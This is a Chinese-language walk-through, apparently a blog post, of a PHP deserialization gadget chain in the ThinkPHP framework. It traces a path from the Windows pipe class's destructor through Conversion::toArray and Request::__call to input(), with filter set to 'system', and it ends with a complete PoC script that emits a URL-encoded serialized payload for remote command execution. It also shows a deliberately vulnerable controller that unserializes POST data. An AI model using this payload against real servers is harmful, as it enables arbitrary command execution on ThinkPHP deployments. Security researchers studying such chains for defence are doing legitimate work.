首先写一个控制器：
<?php
namespace app\index\controller;
class Index
{
public function index()
{
if(isset($_POST['data'])){
@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));
}
}payload打过去，开始分析
入口是windows类的destruct方法：
进入removeFiles()函数：
存在file_exists，考虑__toString()魔术方法
找到think\model\concern的Conversion类
?直接定位到toArray函数
public function toArray()
{
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}
?代码很长，我们把有用的部分简化出来就是这段。首先让$this->append不为空进入if语句，并且满足前面的if条件是很简单的，我们主要利用$relation->visible($name)这里。
这里getAttr()是Attribute的，toString()是Conversion的，所以我们需要找到一个同时继承了Attribute类和Conversion类的子类。
这里找到了Model类。
但这个类是抽象类，所以找一个继承他的子类
$relation可控，$name也可控，但是visible这个函数经过寻找没有可利用的点，于是把思路转向 __call()方法
于是选择用Request类的__call()
?这里虽然有call_user_func_array函数，但是发现前面有array_unshift导致$args参数不可控，所以这里需要用别的办法
这里的call_user_func()
但是这个函数的参数不可控，于是找到input()函数:
?这里最关键的就是这行
$filter=$this->getFilter()这样只需要把filter写进$this->filter属性里就可以控制$filter这个参数，但此时还需要找到可控data的点，于是找到了param函数。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}其中array_merge()让param变量可控，事实上$this->param也可以控制，但还是用$this->get动态执行命令更方便一些。到这里还不算结束，因为input需要$name为空字符串，虽然默认是空字符串，但如果去直接调用的话，第一个参数是$this，所以还需一个能控制$name的函数，找到了isAjax
此时只需要var_ajax为字符串就可以了。
构造poc链：
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'apls'=>new Request()
);
$this->append=array(
'apls'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
'var_ajax' => '',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
